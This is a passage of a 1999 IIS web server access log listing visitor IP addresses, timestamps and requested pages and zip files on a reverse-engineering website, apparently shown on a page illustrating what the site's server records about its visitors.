137.222.103.136, -, 6/3/99, 9:11:19, W3SVC1, FRAVIA, 129.105.116.5, 148293, 150, 345476, 200, 0, GET,
/fravia/zipped/hiew_565.zip, -,
137.222.103.136, -, 6/3/99, 9:11:21, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 231, 200, 0, HEAD,
/fravia/resdump.zip, -,
137.222.103.136, -, 6/3/99, 9:11:21, W3SVC1, FRAVIA, 129.105.116.5, 15533, 143, 39233, 200, 0, GET,
/fravia/hutsting.htm, -,
137.222.103.136, -, 6/3/99, 9:11:24, W3SVC1, FRAVIA, 129.105.116.5, 23454, 138, 6369, 200, 0, GET,
/fravia/kgb.zip, -,
137.222.103.136, -, 6/3/99, 9:11:24, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/crunchi5.htm, -,
137.222.103.136, -, 6/3/99, 9:11:25, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 143, 404, 2, HEAD,
/fravia/exeutil.zip, -,
137.222.103.136, -, 6/3/99, 9:11:25, W3SVC1, FRAVIA, 129.105.116.5, 11766, 142, 7693, 200, 0, GET,
/fravia/cynapp1.htm, -,
137.222.103.136, -, 6/3/99, 9:11:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/ozyma1.htm, -,
137.222.103.136, -, 6/3/99, 9:11:28, W3SVC1, FRAVIA, 129.105.116.5, 10845, 142, 41335, 200, 0, GET,
/fravia/codebar.zip, -,
137.222.103.136, -, 6/3/99, 9:11:31, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 232, 200, 0, HEAD,
/fravia/hiew.zip, -,
137.222.103.136, -, 6/3/99, 9:11:31, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 143, 404, 2, HEAD,
/fravia/psp21.zip, -,
137.222.103.136, -, 6/3/99, 9:11:34, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/siullin2.htm, -,
137.222.103.136, -, 6/3/99, 9:11:40, W3SVC1, FRAVIA, 129.105.116.5, 8803, 143, 23106, 200, 0, GET,
/fravia/wyatt_vb.htm, -,
137.222.103.136, -, 6/3/99, 9:11:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/iebug2.htm, -,
137.222.103.136, -, 6/3/99, 9:11:40, W3SVC1, FRAVIA, 129.105.116.5, 9354, 143, 50873, 200, 0, GET,
/fravia/crunchi5.htm, -,
137.222.103.136, -, 6/3/99, 9:11:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 143, 404, 2, HEAD,
/fravia/!ums1.zip, -,
137.222.103.136, -, 6/3/99, 9:11:45, W3SVC1, FRAVIA, 129.105.116.5, 13960, 142, 12120, 200, 0, GET,
/fravia/resdump.zip, -,
137.222.103.136, -, 6/3/99, 9:11:45, W3SVC1, FRAVIA, 129.105.116.5, 13990, 143, 91034, 200, 0, GET,
/fravia/joetools.zip, -,
137.222.103.136, -, 6/3/99, 9:11:45, W3SVC1, FRAVIA, 129.105.116.5, 12998, 141, 17371, 200, 0, GET,
/fravia/ozyma1.htm, -,
137.222.103.136, -, 6/3/99, 9:11:47, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/malamirc.htm, -,
137.222.103.136, -, 6/3/99, 9:11:47, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 226, 200, 0, HEAD,
/fravia/salinas.htm, -,
137.222.103.136, -, 6/3/99, 9:11:49, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 232, 200, 0, HEAD,
/fravia/watch.zip, -,
137.222.103.136, -, 6/3/99, 9:11:51, W3SVC1, FRAVIA, 129.105.116.5, 10805, 139, 40856, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (7 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/hiew.zip, -,
137.222.103.136, -, 6/3/99, 9:11:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 232, 200, 0, HEAD,
/fravia/symdeb.zip, -,
137.222.103.136, -, 6/3/99, 9:11:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/prophe2.htm, -,
137.222.103.136, -, 6/3/99, 9:11:54, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/snooty2.htm, -,
137.222.103.136, -, 6/3/99, 9:11:55, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 233, 200, 0, HEAD,
/fravia/find.zip, -,
137.222.103.136, -, 6/3/99, 9:11:57, W3SVC1, FRAVIA, 129.105.116.5, 8312, 141, 16063, 200, 0, GET,
/fravia/iebug2.htm, -,
137.222.103.136, -, 6/3/99, 9:12:00, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 231, 200, 0, HEAD,
/fravia/strings.zip, -,
137.222.103.136, -, 6/3/99, 9:12:00, W3SVC1, FRAVIA, 129.105.116.5, 17686, 143, 20727, 200, 0, GET,
/fravia/siullin2.htm, -,
192.167.20.59, -, 6/3/99, 9:12:03, W3SVC1, FRAVIA, 129.105.116.5, 0, 323, 23879, 200, 0, GET,
/fravia/index.htm, -,
137.222.103.136, -, 6/3/99, 9:12:03, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/rezilin.htm, -,
137.222.103.136, -, 6/3/99, 9:12:03, W3SVC1, FRAVIA, 129.105.116.5, 10716, 142, 20117, 200, 0, GET,
/fravia/salinas.htm, -,
192.167.20.59, -, 6/3/99, 9:12:06, W3SVC1, FRAVIA, 129.105.116.5, 440, 316, 1131, 200, 0, GET,
/fravia/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:12:06, W3SVC1, FRAVIA, 129.105.116.5, 11126, 140, 20122, 200, 0, GET,
/fravia/watch.zip, -,
192.167.20.59, -, 6/3/99, 9:12:08, W3SVC1, FRAVIA, 129.105.116.5, 0, 315, 20564, 200, 0, GET,
/fravia/kevin1.jpg, -,
137.222.103.136, -, 6/3/99, 9:12:08, W3SVC1, FRAVIA, 129.105.116.5, 0, 147, 143, 404, 2, HEAD,
/fravia/zipped/cust.zip, -,
137.222.103.136, -, 6/3/99, 9:12:09, W3SVC1, FRAVIA, 129.105.116.5, 16944, 143, 27565, 200, 0, GET,
/fravia/malamirc.htm, -,
137.222.103.136, -, 6/3/99, 9:12:09, W3SVC1, FRAVIA, 129.105.116.5, 9694, 142, 37214, 200, 0, GET,
/fravia/prophe2.htm, -,
137.222.103.136, -, 6/3/99, 9:12:09, W3SVC1, FRAVIA, 129.105.116.5, 11656, 141, 25497, 200, 0, GET,
/fravia/symdeb.zip, -,
192.167.20.59, -, 6/3/99, 9:12:11, W3SVC1, FRAVIA, 129.105.116.5, 550, 316, 822, 200, 0, GET,
/fravia/blackbo.gif, -,
137.222.103.136, -, 6/3/99, 9:12:11, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/uedilas.htm, -,
137.222.103.136, -, 6/3/99, 9:12:12, W3SVC1, FRAVIA, 129.105.116.5, 8682, 142, 19526, 200, 0, GET,
/fravia/snooty2.htm, -,
137.222.103.136, -, 6/3/99, 9:12:12, W3SVC1, FRAVIA, 129.105.116.5, 0, 150, 232, 200, 0, HEAD,
/fravia/zipped/isdcc10.zip, -,
137.222.103.136, -, 6/3/99, 9:12:12, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 143, 404, 2, HEAD,
/fravia/zipped/ucfpd114.zip, -,
137.222.103.136, -, 6/3/99, 9:12:12, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 226, 200, 0, HEAD,
/fravia/shellex.htm, -,
137.222.103.136, -, 6/3/99, 9:12:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 227, 200, 0, HEAD,
/fravia/bbnag1.htm, -,
137.222.103.136, -, 6/3/99, 9:12:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 147, 231, 200, 0, HEAD,
/fravia/zipped/grep.zip, -,
137.222.103.136, -, 6/3/99, 9:12:24, W3SVC1, FRAVIA, 129.105.116.5, 10946, 142, 26627, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (8 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/rezilin.htm, -,
192.167.20.59, -, 6/3/99, 9:12:24, W3SVC1, FRAVIA, 129.105.116.5, 14210, 317, 35217, 200, 0, GET,
/fravia/bilicit3.jpg, -,
137.222.103.136, -, 6/3/99, 9:12:25, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 235, 200, 0, HEAD,
/fravia/zipped/dsasmsrc.zip, -,
137.222.103.136, -, 6/3/99, 9:12:25, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/rezget_1.htm, -,
137.222.103.136, -, 6/3/99, 9:12:28, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/bbdrlan2.htm, -,
137.222.103.136, -, 6/3/99, 9:12:31, W3SVC1, FRAVIA, 129.105.116.5, 21170, 142, 9510, 200, 0, GET,
/fravia/strings.zip, -,
137.222.103.136, -, 6/3/99, 9:12:33, W3SVC1, FRAVIA, 129.105.116.5, 9203, 142, 10770, 200, 0, GET,
/fravia/shellex.htm, -,
137.222.103.136, -, 6/3/99, 9:12:35, W3SVC1, FRAVIA, 129.105.116.5, 29222, 139, 237545, 200, 0, GET,
/fravia/find.zip, -,
137.222.103.136, -, 6/3/99, 9:12:35, W3SVC1, FRAVIA, 129.105.116.5, 12258, 142, 24607, 200, 0, GET,
/fravia/uedilas.htm, -,
137.222.103.136, -, 6/3/99, 9:12:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 151, 234, 200, 0, HEAD,
/fravia/zipped/dsassm02.zip, -,
137.222.103.136, -, 6/3/99, 9:12:37, W3SVC1, FRAVIA, 129.105.116.5, 12488, 141, 36442, 200, 0, GET,
/fravia/bbnag1.htm, -,
137.222.103.136, -, 6/3/99, 9:12:39, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/neto_01.htm, -,
137.222.103.136, -, 6/3/99, 9:12:39, W3SVC1, FRAVIA, 129.105.116.5, 11066, 146, 4851, 200, 0, GET,
/fravia/zipped/grep.zip, -,
137.222.103.136, -, 6/3/99, 9:12:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 233, 200, 0, HEAD,
/fravia/pooldemo.zip, -,
137.222.103.136, -, 6/3/99, 9:12:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 227, 200, 0, HEAD,
/fravia/neto3.htm, -,
137.222.103.136, -, 6/3/99, 9:12:42, W3SVC1, FRAVIA, 129.105.116.5, 18076, 149, 53453, 200, 0, GET,
/fravia/zipped/isdcc10.zip, -,
194.4.226.57, -, 6/3/99, 9:12:46, W3SVC1, FRAVIA, 129.105.116.5, 40538, 226, 20540, 200, 0, GET,
/fravia/kevin1.jpg, -,
137.222.103.136, -, 6/3/99, 9:12:47, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/xoano_27.htm, -,
137.222.103.136, -, 6/3/99, 9:12:49, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 143, 404, 2, HEAD,
/fravia/winsight.zip, -,
137.222.103.136, -, 6/3/99, 9:12:54, W3SVC1, FRAVIA, 129.105.116.5, 10, 142, 231, 200, 0, HEAD,
/fravia/ivyspy.zip, -,
137.222.103.136, -, 6/3/99, 9:12:54, W3SVC1, FRAVIA, 129.105.116.5, 15703, 150, 104942, 200, 0, GET,
/fravia/zipped/dsasmsrc.zip, -,
210.144.130.78, -, 6/3/99, 9:12:56, W3SVC1, FRAVIA, 129.105.116.5, 11246, 284, 41136, 200, 0, GET,
/fravia/protec.htm, -,
137.222.103.136, -, 6/3/99, 9:12:56, W3SVC1, FRAVIA, 129.105.116.5, 10, 140, 143, 404, 2, HEAD,
/fravia/hw32.zip, -,
137.222.103.136, -, 6/3/99, 9:13:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/monitor.htm, -,
137.222.103.136, -, 6/3/99, 9:13:02, W3SVC1, FRAVIA, 129.105.116.5, 11997, 143, 25968, 200, 0, GET,
/fravia/bbdrlan2.htm, -,
137.222.103.136, -, 6/3/99, 9:13:02, W3SVC1, FRAVIA, 129.105.116.5, 10976, 140, 20676, 200, 0, GET,
/fravia/neto3.htm, -,
192.167.20.59, -, 6/3/99, 9:13:03, W3SVC1, FRAVIA, 129.105.116.5, 10855, 323, 36128, 200, 64, GET,

http://www.instinct.org/fravia/whatdika.htm (9 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/new_what.htm, -,
137.222.103.136, -, 6/3/99, 9:13:06, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/rcnewht.htm, -,
137.222.103.136, -, 6/3/99, 9:13:06, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 233, 200, 0, HEAD,
/fravia/pview95.zip, -,
137.222.103.136, -, 6/3/99, 9:13:07, W3SVC1, FRAVIA, 129.105.116.5, 16614, 150, 67384, 200, 0, GET,
/fravia/zipped/dsassm02.zip, -,
137.222.103.136, -, 6/3/99, 9:13:09, W3SVC1, FRAVIA, 129.105.116.5, 14841, 142, 22316, 200, 0, GET,
/fravia/neto_01.htm, -,
137.222.103.136, -, 6/3/99, 9:13:12, W3SVC1, FRAVIA, 129.105.116.5, 14641, 143, 30318, 200, 0, GET,
/fravia/xoano_27.htm, -,
137.222.103.136, -, 6/3/99, 9:13:13, W3SVC1, FRAVIA, 129.105.116.5, 10, 142, 143, 404, 2, HEAD,
/fravia/stress.zip, -,
137.222.103.136, -, 6/3/99, 9:13:16, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/win98tut.htm, -,
137.222.103.136, -, 6/3/99, 9:13:19, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 227, 200, 0, HEAD,
/fravia/pna3.htm, -,
137.222.103.136, -, 6/3/99, 9:13:22, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 143, 404, 2, HEAD,
/fravia/wspy.zip, -,
137.222.103.136, -, 6/3/99, 9:13:25, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 227, 200, 0, HEAD,
/fravia/mre2.htm, -,
137.222.103.136, -, 6/3/99, 9:13:34, W3SVC1, FRAVIA, 129.105.116.5, 14951, 141, 2983, 200, 0, GET,
/fravia/ivyspy.zip, -,
137.222.103.136, -, 6/3/99, 9:13:36, W3SVC1, FRAVIA, 129.105.116.5, 18477, 142, 19737, 200, 0, GET,
/fravia/monitor.htm, -,
137.222.103.136, -, 6/3/99, 9:13:36, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 234, 200, 0, HEAD,
/fravia/regmnsrc.zip, -,
137.222.103.136, -, 6/3/99, 9:13:41, W3SVC1, FRAVIA, 129.105.116.5, 47228, 143, 474649, 200, 0, GET,
/fravia/pooldemo.zip, -,
137.222.103.136, -, 6/3/99, 9:13:41, W3SVC1, FRAVIA, 129.105.116.5, 17436, 142, 22213, 200, 0, GET,
/fravia/rcnewht.htm, -,
137.222.103.136, -, 6/3/99, 9:13:41, W3SVC1, FRAVIA, 129.105.116.5, 19579, 143, 22727, 200, 0, GET,
/fravia/rezget_1.htm, -,
137.222.103.136, -, 6/3/99, 9:13:41, W3SVC1, FRAVIA, 129.105.116.5, 10185, 143, 9376, 200, 0, GET,
/fravia/win98tut.htm, -,
192.167.20.59, -, 6/3/99, 9:13:42, W3SVC1, FRAVIA, 129.105.116.5, 0, 391, 164, 304, 0, GET,
/fravia/new_what.htm, -,
137.222.103.136, -, 6/3/99, 9:13:43, W3SVC1, FRAVIA, 129.105.116.5, 18397, 142, 22944, 200, 0, GET,
/fravia/pview95.zip, -,
137.222.103.136, -, 6/3/99, 9:13:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/compro2.htm, -,
137.222.103.136, -, 6/3/99, 9:13:43, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 143, 404, 2, HEAD,
/fravia/tekfct95.zip, -,
137.222.103.136, -, 6/3/99, 9:13:46, W3SVC1, FRAVIA, 129.105.116.5, 10815, 139, 22024, 200, 0, GET,
/fravia/pna3.htm, -,
137.222.103.136, -, 6/3/99, 9:13:46, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/crunchi6.htm, -,
137.222.103.136, -, 6/3/99, 9:13:46, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/icedump4.htm, -,
137.222.103.136, -, 6/3/99, 9:13:46, W3SVC1, FRAVIA, 129.105.116.5, 10, 139, 143, 404, 2, HEAD,
/fravia/gnb.zip, -,
137.222.103.136, -, 6/3/99, 9:13:46, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 233, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (10 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/vxdmon.zip, -,
137.222.103.136, -, 6/3/99, 9:13:47, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/siulflex.htm, -,
192.167.20.59, -, 6/3/99, 9:13:47, W3SVC1, FRAVIA, 129.105.116.5, 4897, 373, 5712, 206, 0, GET,
/fravia/new_what.htm, -,
137.222.103.136, -, 6/3/99, 9:13:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 232, 200, 0, HEAD,
/fravia/filsrc.zip, -,
137.222.103.136, -, 6/3/99, 9:13:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/symbo_1.htm, -,
137.222.103.136, -, 6/3/99, 9:13:52, W3SVC1, FRAVIA, 129.105.116.5, 11116, 139, 60474, 200, 0, GET,
/fravia/mre2.htm, -,
137.222.103.136, -, 6/3/99, 9:13:59, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 225, 200, 0, HEAD,
/fravia/spectool.gif, -,
137.222.103.136, -, 6/3/99, 9:14:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/cyberme.htm, -,
137.222.103.136, -, 6/3/99, 9:14:02, W3SVC1, FRAVIA, 129.105.116.5, 16684, 143, 104183, 200, 0, GET,
/fravia/regmnsrc.zip, -,
137.222.103.136, -, 6/3/99, 9:14:08, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 225, 200, 0, HEAD,
/fravia/offitool.gif, -,
137.222.103.136, -, 6/3/99, 9:14:13, W3SVC1, FRAVIA, 129.105.116.5, 13559, 143, 7915, 200, 0, GET,
/fravia/icedump4.htm, -,
137.222.103.136, -, 6/3/99, 9:14:14, W3SVC1, FRAVIA, 129.105.116.5, 21831, 142, 12852, 200, 0, GET,
/fravia/compro2.htm, -,
137.222.103.136, -, 6/3/99, 9:14:18, W3SVC1, FRAVIA, 129.105.116.5, 16554, 141, 60493, 200, 0, GET,
/fravia/vxdmon.zip, -,
137.222.103.136, -, 6/3/99, 9:14:21, W3SVC1, FRAVIA, 129.105.116.5, 0, 140, 226, 200, 0, HEAD,
/fravia/asc0.htm, -,
137.222.103.136, -, 6/3/99, 9:14:21, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 224, 200, 0, HEAD,
/fravia/fravia.gif, -,
137.222.103.136, -, 6/3/99, 9:14:23, W3SVC1, FRAVIA, 129.105.116.5, 14350, 142, 12594, 200, 0, GET,
/fravia/symbo_1.htm, -,
194.4.226.57, -, 6/3/99, 9:14:25, W3SVC1, FRAVIA, 129.105.116.5, 168242, 177, 23855, 200, 64, GET,
/fravia/index.htm, -,
137.222.103.136, -, 6/3/99, 9:14:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/wdasmcr.htm, -,
137.222.103.136, -, 6/3/99, 9:14:27, W3SVC1, FRAVIA, 129.105.116.5, 23714, 143, 30879, 200, 0, GET,
/fravia/crunchi6.htm, -,
137.222.103.136, -, 6/3/99, 9:14:30, W3SVC1, FRAVIA, 129.105.116.5, 15673, 143, 5633, 200, 0, GET,
/fravia/spectool.gif, -,
192.167.20.59, -, 6/3/99, 9:14:31, W3SVC1, FRAVIA, 129.105.116.5, 1412, 317, 5082, 200, 0, GET,
/fravia/notassi3.gif, -,
137.222.103.136, -, 6/3/99, 9:14:33, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 233, 200, 0, HEAD,
/fravia/_ndrom.zip, -,
137.222.103.136, -, 6/3/99, 9:14:33, W3SVC1, FRAVIA, 129.105.116.5, 25287, 141, 96350, 200, 0, GET,
/fravia/filsrc.zip, -,
137.222.103.136, -, 6/3/99, 9:14:33, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/dvdfuhr.htm, -,
137.222.103.136, -, 6/3/99, 9:14:35, W3SVC1, FRAVIA, 129.105.116.5, 10, 142, 232, 200, 0, HEAD,
/fravia/androm.zip, -,
137.222.103.136, -, 6/3/99, 9:14:38, W3SVC1, FRAVIA, 129.105.116.5, 0, 150, 225, 200, 0, HEAD,
/fravia/99solu/soluhtm.htm, -,
137.222.103.136, -, 6/3/99, 9:14:40, W3SVC1, FRAVIA, 129.105.116.5, 19879, 142, 13853, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (11 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/cyberme.htm, -,
137.222.103.136, -, 6/3/99, 9:14:50, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 232, 200, 0, HEAD,
/fravia/copyoft_.zip, -,
137.222.103.136, -, 6/3/99, 9:14:50, W3SVC1, FRAVIA, 129.105.116.5, 17034, 143, 3044, 200, 0, GET,
/fravia/offitool.gif, -,
192.167.20.59, -, 6/3/99, 9:14:51, W3SVC1, FRAVIA, 129.105.116.5, 23484, 323, 40453, 200, 0, GET,
/fravia/flexm.htm, -,
137.222.103.136, -, 6/3/99, 9:14:51, W3SVC1, FRAVIA, 129.105.116.5, 13589, 141, 913, 200, 0, GET,
/fravia/fravia.gif, -,
137.222.103.136, -, 6/3/99, 9:14:51, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/twdaplog.htm, -,
137.222.103.136, -, 6/3/99, 9:14:53, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 232, 200, 0, HEAD,
/fravia/t_tamra7.zip, -,
137.222.103.136, -, 6/3/99, 9:15:01, W3SVC1, FRAVIA, 129.105.116.5, 6820, 143, 9146, 200, 0, GET,
/fravia/copyoft_.zip, -,
137.222.103.136, -, 6/3/99, 9:15:03, W3SVC1, FRAVIA, 129.105.116.5, 11006, 142, 13534, 200, 0, GET,
/fravia/wdasmcr.htm, -,
137.222.103.136, -, 6/3/99, 9:15:03, W3SVC1, FRAVIA, 129.105.116.5, 12458, 141, 86728, 200, 0, GET,
/fravia/_ndrom.zip, -,
137.222.103.136, -, 6/3/99, 9:15:05, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/crawicra.htm, -,
137.222.103.136, -, 6/3/99, 9:15:08, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 234, 200, 0, HEAD,
/fravia/s-tools4.zip, -,
137.222.103.136, -, 6/3/99, 9:15:08, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/bulga_1.htm, -,
137.222.103.136, -, 6/3/99, 9:15:10, W3SVC1, FRAVIA, 129.105.116.5, 1833, 149, 9862, 200, 0, GET,
/fravia/99solu/soluhtm.htm, -,
137.222.103.136, -, 6/3/99, 9:15:10, W3SVC1, FRAVIA, 129.105.116.5, 2434, 139, 4360, 200, 0, GET,
/fravia/asc0.htm, -,
194.88.227.130, -, 6/3/99, 9:15:12, W3SVC1, FRAVIA, 129.105.116.5, 0, 288, 226, 200, 0, HEAD,
/fravia/index.htm, -,
137.222.103.136, -, 6/3/99, 9:15:12, W3SVC1, FRAVIA, 129.105.116.5, 7981, 141, 86933, 200, 0, GET,
/fravia/androm.zip, -,
137.222.103.136, -, 6/3/99, 9:15:13, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/dongle_n.htm, -,
137.222.103.136, -, 6/3/99, 9:15:16, W3SVC1, FRAVIA, 129.105.116.5, 0, 154, 143, 404, 2, HEAD,
/fravia/bilibin_red_knight.jpg, -,
194.88.227.130, -, 6/3/99, 9:15:19, W3SVC1, FRAVIA, 129.105.116.5, 0, 275, 225, 200, 0, HEAD,
/fravia/bulletr.gif, -,
137.222.103.136, -, 6/3/99, 9:15:21, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 228, 200, 0, HEAD,
/fravia/bigandr.gif, -,
137.222.103.136, -, 6/3/99, 9:15:24, W3SVC1, FRAVIA, 129.105.116.5, 13560, 142, 26180, 200, 0, GET,
/fravia/bulga_1.htm, -,
137.222.103.136, -, 6/3/99, 9:15:28, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,
/fravia/rebirth.htm, -,
137.222.103.136, -, 6/3/99, 9:15:28, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 228, 200, 0, HEAD,
/fravia/outfile.gif, -,
194.88.227.130, -, 6/3/99, 9:15:32, W3SVC1, FRAVIA, 129.105.116.5, 10, 274, 226, 200, 0, HEAD,
/fravia/kevin1.jpg, -,
137.222.103.136, -, 6/3/99, 9:15:32, W3SVC1, FRAVIA, 129.105.116.5, 21451, 143, 26817, 200, 0, GET,
/fravia/crawicra.htm, -,
137.222.103.136, -, 6/3/99, 9:15:37, W3SVC1, FRAVIA, 129.105.116.5, 10, 143, 227, 200, 0, HEAD,

http://www.instinct.org/fravia/whatdika.htm (12 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/coc_001.htm, -,
137.222.103.136, -, 6/3/99, 9:15:37, W3SVC1, FRAVIA, 129.105.116.5, 10475, 143, 9514, 200, 0, GET,
/fravia/t_tamra7.zip, -,
137.222.103.136, -, 6/3/99, 9:15:37, W3SVC1, FRAVIA, 129.105.116.5, 11546, 142, 24141, 200, 0, GET,
/fravia/dvdfuhr.htm, -,
137.222.103.136, -, 6/3/99, 9:15:40, W3SVC1, FRAVIA, 129.105.116.5, 12558, 143, 18175, 200, 0, GET,
/fravia/twdaplog.htm, -,
155.253.16.58, -, 6/3/99, 9:15:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 337, 604, 404, 2, GET,
/fravia/zipped/tekfct95.zip, -,
129.13.197.41, -, 6/3/99, 9:15:42, W3SVC1, FRAVIA, 129.105.116.5, 4186, 397, 5082, 200, 0, GET,
/fravia/notassi3.gif, -,
137.222.103.136, -, 6/3/99, 9:15:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/t_tamra7.gif, -,
137.222.103.136, -, 6/3/99, 9:15:43, W3SVC1, FRAVIA, 129.105.116.5, 99683, 143, 44355, 200, 121, GET,
/fravia/siulflex.htm, -,
137.222.103.136, -, 6/3/99, 9:15:43, W3SVC1, FRAVIA, 129.105.116.5, 13229, 143, 14015, 200, 0, GET,
/fravia/dongle_n.htm, -,
137.222.103.136, -, 6/3/99, 9:15:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/tdlslee.gif, -,
129.13.197.41, -, 6/3/99, 9:15:47, W3SVC1, FRAVIA, 129.105.116.5, 10245, 450, 18286, 200, 0, GET,
/fravia/pilgrim.htm, -,
194.88.227.130, -, 6/3/99, 9:15:47, W3SVC1, FRAVIA, 129.105.116.5, 0, 274, 226, 200, 0, HEAD,
/fravia/kevin1.jpg, -,
137.222.103.136, -, 6/3/99, 9:15:49, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/cftp_pro.htm, -,
137.222.103.136, -, 6/3/99, 9:15:51, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/swann_mm.htm, -,
194.88.227.130, -, 6/3/99, 9:15:55, W3SVC1, FRAVIA, 129.105.116.5, 0, 276, 228, 200, 0, HEAD,
/fravia/bilicit3.jpg, -,
137.222.103.136, -, 6/3/99, 9:15:55, W3SVC1, FRAVIA, 129.105.116.5, 45756, 143, 279008, 200, 0, GET,
/fravia/s-tools4.zip, -,
137.222.103.136, -, 6/3/99, 9:16:01, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/stegslee.gif, -,
137.222.103.136, -, 6/3/99, 9:16:16, W3SVC1, FRAVIA, 129.105.116.5, 5938, 143, 37914, 200, 0, GET,
/fravia/cftp_pro.htm, -,
137.222.103.136, -, 6/3/99, 9:16:18, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/laste_09.htm, -,
137.222.103.136, -, 6/3/99, 9:16:18, W3SVC1, FRAVIA, 129.105.116.5, 11726, 142, 65028, 200, 0, GET,
/fravia/tdlslee.gif, -,
137.222.103.136, -, 6/3/99, 9:16:18, W3SVC1, FRAVIA, 129.105.116.5, 9043, 143, 52015, 200, 0, GET,
/fravia/stegslee.gif, -,
